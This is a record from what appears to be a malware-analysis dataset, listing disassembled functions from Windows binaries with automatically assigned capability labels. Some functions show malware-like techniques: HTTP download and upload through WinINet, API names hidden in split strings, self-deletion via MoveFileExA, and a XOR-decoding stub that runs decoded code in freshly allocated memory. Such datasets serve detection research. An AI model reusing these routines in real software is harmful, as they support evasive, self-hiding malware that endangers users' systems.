joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406fc3
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push esi
push esi
push esi
push 1
push str.http
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x40711d
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, esi
je 0x407114
push ebx
push esi
push 0x80080000
push esi
push 0x41a2a0
push str.HTTP_1.1
push dword [ebp + 0x14]
push dword [ebp + 0x20]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
cmp ebx, esi
je 0x407113
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
or dword [ebp - 0x14], 0xffffffff
push edi
push 4
pop edi
push edi
lea eax, [ebp - 8]
push eax
push 2
push ebx
mov dword [ebp - 8], 0x3a98
call esi
push edi
lea eax, [ebp - 8]
push eax
push 7
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 8
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 5
push ebx
call esi
push edi
lea eax, [ebp - 8]
push eax
push 6
push ebx
call esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 2
push ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
push str.send_request
call fcn.00404e04
xor edi, edi
xor eax, eax
xor esi, esi
pop ecx
cmp dword [ebp + 0x24], edi
je 0x4070a4
push dword [ebp + 0x24]
call fcn.00409860
pop ecx
cmp dword [ebp + 0xc], edi
je 0x4070ac
mov esi, dword [ebp + 0x10]
push esi
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x24]
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
setne byte [ebp - 1]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp byte [ebp - 1], 0
je 0x407112
mov esi, dword [ebp + 0x1c]
mov dword [esi], edi
mov edi, dword [ebp + 0x18]
push 0x41a2a0
push edi
call fcn.0040bf40
pop ecx
pop ecx
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x800
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
mov eax, dword [ebp - 0xc]
mov byte [eax + edi], 0
mov eax, dword [ebp - 0xc]
setne cl
add dword [esi], eax
add edi, eax
test cl, cl
je 0x407112
test eax, eax
jne 0x4070e2
pop edi
pop ebx
push dword [ebp - 0x18]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
leave
ret
Function at 0x4093a3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov eax, dword [0x420bf0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push str.el32
push 0x41b370
lea eax, [ebp - 0x68]
push str._sRn_s.dll
push eax
call fcn.004098eb
lea eax, [ebp - 0x68]
push eax
call fcn.00418ec0
push str.bjec
push str.tForSin
push 0x41b350
lea eax, [ebp - 0x130]
push str._s_sgleO_st
push eax
call fcn.004098eb
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
add esp, 0x28
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x68]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push 0x41b340
push str.oseHand
push 0x41b334
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0xcc]
push str._s_s_s
push eax
call fcn.004098eb
add esp, 0x14
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call esi
push eax
call edi
push 3
mov dword [ebp - 0x1a0], eax
pop eax
push 0x44
pop esi
push esi
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], eax
xor edi, edi
lea eax, [ebp - 0x1fc]
push edi
push eax
call fcn.0040b900
add esp, 0xc
cmp byte [ebp + 0x10], 0
mov dword [ebp - 0x1fc], esi
mov dword [ebp - 0x1d0], 1
je 0x40949b
push 5
pop eax
jmp 0x40949d
xor eax, eax
push 0x10
mov word [ebp - 0x1cc], ax
lea eax, [ebp - 0x1b0]
push edi
push eax
call fcn.0040b900
push 0x7d0
call fcn.0040c5c0
push 0x7cf
mov esi, eax
push edi
push esi
mov dword [ebp - 0x19c], esi
call fcn.0040b900
push ebx
mov dword [ebp - 0x198], edi
call fcn.00409860
add esp, 0x20
test eax, eax
je 0x409511
mov eax, ebx
sub eax, esi
mov dword [ebp - 0x1b8], eax
jmp 0x4094f6
mov eax, dword [ebp - 0x1b8]
mov al, byte [eax + esi]
inc dword [ebp - 0x198]
mov byte [esi], al
push ebx
inc esi
call fcn.00409860
pop ecx
cmp dword [ebp - 0x198], eax
jb 0x4094f0
push str.atePro
push 0x41b328
lea eax, [ebp - 0x194]
push str._se_scessA
push eax
call fcn.004098eb
add esp, 0x10
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1fc]
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push dword [ebp - 0x19c]
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40958c
cmp dword [ebp - 0x1b0], edi
je 0x40958c
cmp byte [ebp + 0xc], 0
je 0x409574
push 0x4e20
push dword [ebp - 0x1b0]
call dword [ebp - 0x1b4]
push dword [ebp - 0x1ac]
call dword [ebp - 0x1a0]
push dword [ebp - 0x1b0]
call dword [ebp - 0x1a0]
push dword [ebp - 0x19c]
call fcn.0040c654
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040996f
leave
ret

Function at 0x4095a7
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3ec
mov eax, dword [0x420bf0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x3e7
lea eax, [ebp - 0x3ec]
push 0
push eax
call fcn.0040b900
add esp, 0xc
push 0x3e8
lea eax, [ebp - 0x3ec]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 4
push 0
lea eax, [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040996f
leave
ret
Function at 0x40996f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420bf0]
jne 0x409979
repz ret
jmp fcn.0040fa00

Function at 0x4179dd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00410523
and dword [ebp - 0x14], 0
cmp dword [0x423374], 0
mov dword [ebp - 0x18], eax
jne 0x417a90
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417b38
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417b38
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x423374], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x423378], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42337c], eax
call edi
push eax
call esi
mov dword [0x423384], eax
test eax, eax
je 0x417a90
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x423380], eax
mov eax, dword [0x423380]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x417ae9
cmp dword [0x423384], ecx
je 0x417ae9
push eax
call esi
push dword [0x423384]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417ae9
test ebx, ebx
je 0x417ae9
call edi
test eax, eax
je 0x417ae0
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417ae0
test byte [ebp - 8], 1
jne 0x417ae9
or dword [ebp + 0x10], 0x200000
jmp 0x417b1c
mov eax, dword [0x423378]
cmp eax, dword [ebp - 0x18]
je 0x417b1c
push eax
call esi
test eax, eax
je 0x417b1c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417b1c
mov eax, dword [0x42337c]
cmp eax, dword [ebp - 0x18]
je 0x417b1c
push eax
call esi
test eax, eax
je 0x417b1c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x423374]
call esi
test eax, eax
je 0x417b38
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417b3a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040996f
leave
ret
Function at 0x100137df
Capabilities:
Generate random numbers via winapi

Disassembly:
call fcn.100b0a27
sub byte [eax], al
add byte [eax - 0x64846fe], al
sub esp, dword [ebx + 0x14]
xchg esp, eax
or esi, dword [ebp + 0xd508a03]
sbb eax, 0x6e64b0a0
dec ebx
jae 0x1001385c
dec edi
lds esi, [edx - 0x7b1f398d]
out dx, al
out dx, eax
ljmp 0xfdb3
mov ebp, esp
push esi
xor esi, esi
cmp dword [0x10120740], 1
je 0x10013871
mov esi, 0x8000ffff
jmp 0x10013899
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [0x10120730]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x100138be
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.1007f13c
mov esi, eax
test esi, esi
jge 0x100138be
mov eax, dword [0x1011faf4]
cmp eax, 0x1011faf4
je 0x100138be
test byte [eax + 0x3c], 2
je 0x100138be
push esi
push 0x100034d8
push 0xa
push dword [eax + 0x34]
push dword [eax + 0x30]
call fcn.1007f13c
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x1007f13c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1007f14b
pop dword [ebp - 0x3c]
mov eax, 0x1007f14b
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x5c32a
push 0
mov eax, 0x19f31214
add eax, 0xf60cfeb0
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xaba793ee
sub ecx, 0xaba73b60
mov esi, eax
mov edx, 0xf3657ab2
add edx, 0x1cadfd4e
add edx, dword [ebp - 0x3c]
mov edi, 0xbf604f16
sub edi, 0xc1b20a63
add dword [ebp - 0x34], ebx
mov ebx, dword [edx]
sub dword [ebp - 0x18], 0xadff39ca
xor ebx, edi
sub dword [ebp - 0x20], edx
mov dword [esi], ebx
sub dword [ebp - 0x2c], 0xf18f709c
add esi, 0xf6171f6
add esi, 0xf09e8e0e
add edx, 0x8fd2dd2e
add edx, 0x702d22d6
loop 0x1007f1a5
add eax, 0x1550b
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10001d40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1011d7e3
mov eax, dword fs:[0]
push eax
push ebx
push esi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x18], eax
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
mov dword [esp + 0x14], ebx
mov dword [esi + 0x34], eax
mov dword [esi + 0x30], ebx
mov byte [esi + 0x20], bl
mov byte [esp + 0x14], 1
push 4
mov dword [esi + 0x5c], ebx
call fcn.100f4579
add esp, 4
cmp eax, ebx
je 0x10001d9d
mov dword [eax], ebx
jmp 0x10001d9f
xor eax, eax
push 0xc
mov dword [esi + 0x60], eax
call fcn.100f4579
add esp, 4
cmp eax, ebx
je 0x10001dba
mov dword [eax + 8], ebx
mov dword [eax + 4], ebx
mov dword [eax], ebx
jmp 0x10001dbc
xor eax, eax
push ebx
mov ecx, esi
mov dword [esi + 0x64], eax
mov dword [esi + 0x58], ebx
call fcn.1002ded0
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0xc
ret 4
Function at 0x10002cf0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1011e088
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1015d2f0]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push edi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x34]
mov dword fs:[0], eax
mov eax, dword [esp + 0x44]
xor ebx, ebx
push 0xffffffffffffffff
push ebx
mov dword [esp + 0x14], ecx
push eax
lea ecx, [esp + 0x1c]
mov edi, edx
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.100057a0
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x40], ebx
call fcn.10004810
cmp dword [esp + 0x28], 0x10
mov bl, al
jb 0x10002d6d
mov eax, dword [esp + 0x14]
push eax
call fcn.100f4085
add esp, 4
mov al, bl
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.100f30a6
add esp, 0x34
ret 4

Function at 0x10002f50
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push edi
lea edi, [esi + 0x20]
push edi
call ebp
mov ebx, dword [esi + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
jbe 0x10002fa3
cmp dword [esi + 0x38], 0
jne 0x10002fa3
lea edi, [esi + 0x40]
push edi
call ebp
cmp dword [esi + 0x38], 0
jne 0x10002f9c
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x10002fb0
push 0
push 0
call fcn.100f3d5f
add esp, 0x18
mov dword [esi + 0x38], eax
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10004960
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x101216a7
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov edi, dword [esp + 0x24]
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [edi], 0x1013aee0
mov dword [edi + 0x54], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 4]
push esi
mov dword [esp + 0x20], ebx
push edi
mov dword [esp + 0x18], 1
call fcn.10005af0
mov dword [esp + 0x1c], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
call fcn.100067a0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x10162060]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, edi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x100067a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x1011d67b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100f2bee
push 4
mov dword [esp + 0x20], 0
call fcn.100f4579
mov edi, eax
add esp, 4
test edi, edi
je 0x1000681e
call fcn.100f29ef
mov dword [edi], eax
call fcn.100f281d
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.100f2b3f
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10006813
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.100f2b67
jmp 0x10006820
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x10006fe0
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x1012363b
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
push 0x20
call fcn.100f4579
mov esi, eax
add esp, 4
mov dword [esp + 8], esi
mov dword [esp + 0x18], 0
test esi, esi
je 0x1000704b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
push 0xffffffffffffffff
lea ecx, [esi + 4]
mov dword [esi], eax
push 0
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push edx
mov byte [ecx + 4], 0
call fcn.100057a0
jmp 0x1000704d
xor esi, esi
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x10007080
push 0
push 0
call fcn.100f3d5f
add esp, 0x18
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret 8
Function at 0x10008850
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push edi
lea edi, [esi + 0x24]
push edi
call ebp
mov ebx, dword [esi + 0x20]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test ebx, ebx
jbe 0x100088a6
cmp dword [esi + 0x3c], 0
jne 0x100088a6
lea edi, [esi + 0x80]
push edi
call ebp
cmp dword [esi + 0x3c], 0
jne 0x1000889f
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x100088b0
push 0
push 0
call fcn.100f3d5f
add esp, 0x18
mov dword [esi + 0x3c], eax
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10008930
Capabilities:
Delete file
Get file size

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
add edi, 4
lea ebx, [edi + 0x20]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [edi + 0x18]
mov eax, dword [edi + 0x1c]
add eax, esi
cmp esi, eax
jbe 0x10008959
call fcn.100f3f6c
mov ecx, dword [edi]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], esi
call fcn.10041f00
mov esi, dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [esi + 0x14], 0
jbe 0x10008a1f
cmp dword [esi + 0x18], 0x10
jb 0x10008991
mov eax, dword [esi + 4]
lea ebp, [esi + 4]
mov dword [esp + 0x10], ebp
jmp 0x1000899a
lea eax, [esi + 4]
mov dword [esp + 0x10], eax
mov ebp, eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push accept
push eax
call ebx
cmp eax, 0xffffffff
je 0x100089c3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100089ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x10008a1f
cmp dword [esi + 0x18], 0x10
jb 0x100089d9
mov eax, dword [ebp]
jmp 0x100089db
mov eax, ebp
push 0
push 0
push 3
push 0
push 0
push 0
push eax
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008a0b
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebp, ebp
ja 0x10008a2e
mov ebp, dword [esp + 0x10]
cmp dword [esi + 0x18], 0x10
jb 0x10008a16
mov eax, dword [ebp]
jmp 0x10008a18
mov eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10009730
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
mov eax, dword [esi + 0x1c]
push ebp
push esi
lea edx, [esi + 0x20]
push edx
push eax
call fcn.10008a70
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi + 0x44]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call fcn.100091a0
call fcn.10009730
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
mov dword [esp + 4], 0x7d0
jmp dword [sym.imp.KERNEL32.dll_Sleep]
Function at 0x10009ba0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
mov edi, eax
xor ebx, ebx
cmp byte [edi + 0x3c], bl
jne 0x10009c52
push 0x38
call fcn.100f4579
add esp, 4
cmp eax, ebx
je 0x10009bd9
mov ecx, 0xf
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ebx
mov byte [eax + 4], bl
mov dword [eax + 0x34], ecx
mov dword [eax + 0x30], ebx
mov byte [eax + 0x20], bl
mov esi, eax
jmp 0x10009bdb
xor esi, esi
mov eax, dword [esp + 0x14]
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esi + 0x1c]
call fcn.100057a0
mov ecx, dword [esp + 0x10]
push 0xffffffffffffffff
push ebx
push ecx
mov ecx, esi
call fcn.100057a0
cmp esi, ebx
je 0x10009c07
push esi
lea ecx, [edi + 0x40]
call fcn.1000c760
cmp dword [edi + 0x78], ebx
jne 0x10009c44
lea esi, [edi + 0x80]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x78], ebx
jne 0x10009c37
lea edx, [esp + 0x14]
push edx
push ebx
push edi
push 0x10009c60
push ebx
push ebx
call fcn.100f3d5f
add esp, 0x18
mov dword [edi + 0x78], eax
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret 8
mov edi, dword [edi + 0x7c]
cmp edi, ebx
je 0x10009c52
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
ret 8
Function at 0x1000b3b0
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x101206a1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push ebp
push esi
mov eax, dword [0x1015d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x4c]
mov ebp, dword [esp + 0x50]
xor ebx, ebx
lea esi, [eax + 0x20]
mov dword [esp + 0x44], ebx
push esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ebx
call fcn.10032350
add esp, 4
test al, al
jne 0x1000b41a
cmp dword [esi + 0x18], 0x10
jb 0x1000b40f
mov eax, dword [esi + 4]
jmp 0x1000b412
lea eax, [esi + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.ShiftLog
push esi
push edi
call fcn.10008390
mov dword [esp + 0x50], ebx
push edi
mov dword [esp + 0x24], 1
call fcn.10032350
add esp, 0x10
test al, al
jne 0x1000b455
cmp dword [edi + 0x18], 0x10
jb 0x1000b44a
mov eax, dword [edi + 4]
jmp 0x1000b44d
lea eax, [edi + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
push 0x1013af20
mov ecx, edi
call fcn.10006400
push 0xffffffffffffffff
push ebx
push ebp
mov ecx, edi
call fcn.10006300
push edi
call fcn.10032350
add esp, 4
test al, al
jne 0x1000b491
cmp dword [edi + 0x18], 0x10
jb 0x1000b486
mov eax, dword [edi + 4]
jmp 0x1000b489
lea eax, [edi + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
push 0x1013af20
mov ecx, edi
call fcn.10006400
mov eax, dword [esp + 0x18]
push eax
lea esi, [esp + 0x24]
call fcn.10032260
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
mov dword [esp + 0x50], 1
call fcn.10006300
mov esi, 0x10
mov byte [esp + 0x44], bl
cmp dword [esp + 0x38], esi
jb 0x1000b4df
mov ecx, dword [esp + 0x24]
push ecx
call fcn.100f4085
add esp, 4
push edi
call fcn.10032350
add esp, 4
test al, al
jne 0x1000b501
cmp dword [edi + 0x18], esi
jb 0x1000b4f6
mov eax, dword [edi + 4]
jmp 0x1000b4f9
lea eax, [edi + 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
push 0x1013af20
mov ecx, edi
call fcn.10006400
mov edx, dword [esp + 0x10]
push 0xffffffffffffffff
push ebx
push edx
mov ecx, edi
call fcn.10006300
mov eax, edi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 8